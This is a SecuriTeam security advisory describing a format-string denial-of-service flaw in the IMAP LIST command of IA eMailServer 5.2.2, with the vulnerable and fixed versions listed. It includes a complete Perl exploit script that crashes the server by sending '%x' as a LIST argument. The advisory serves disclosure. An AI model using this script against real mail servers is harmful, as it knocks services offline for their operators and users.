[NT] IA eMailServer DoS (Format String)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  IA eMailServer DoS (Format String)
------------------------------------------------------------------------


SUMMARY

 <http://www.tnsoft.com/> IA eMailServer is "an email server that supports 
SMTP, POP3 and IMAP".

Lack of proper command filtering allows attackers to stop the IA 
eMailServer from running.

DETAILS

Vulnerable Systems:
 * IA eMailServer Corporate Edition version: 5.2.2. Build: 1051

Immune Systems:
 * IA eMailServer Corporate Edition version: 5.3.4. Build: 2019

The IMAP4 LIST command is not properly filtered, and allow attackers to 
place the chars  %x  as the second argument to the LIST command. Placing 
the chars will cause the  MailServer.exe to crash.

Exploit:
#===== Start IAeMailServer_DOS.pl =====
#
# Usage: IAeMailServer_DOS.pl <ip>
#        IAeMailServer_DOS.pl 127.0.0.1
#
# True North Software, Inc. IA eMailServer Corporate Edition
# Version: 5.2.2. Build: 1051.
#
# Download:
# http://www.tnsoft.com/
#
###############################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "143",
                                    Proto    => "TCP"))
{
        print "Attempting to kill IA eMailServer at $ARGV[0]:143...";

        sleep(1);

        print $socket "0000 LOGIN hello moto\r\n";

        sleep(1);

        print $socket "0001 LIST 1 \%x\r\n";

        close($socket);
}
else
{
        print "Cannot connect to $ARGV[0]:143\n";
}
#===== End IAeMailServer_DOS.pl =====


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> Reed 
Arvin.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.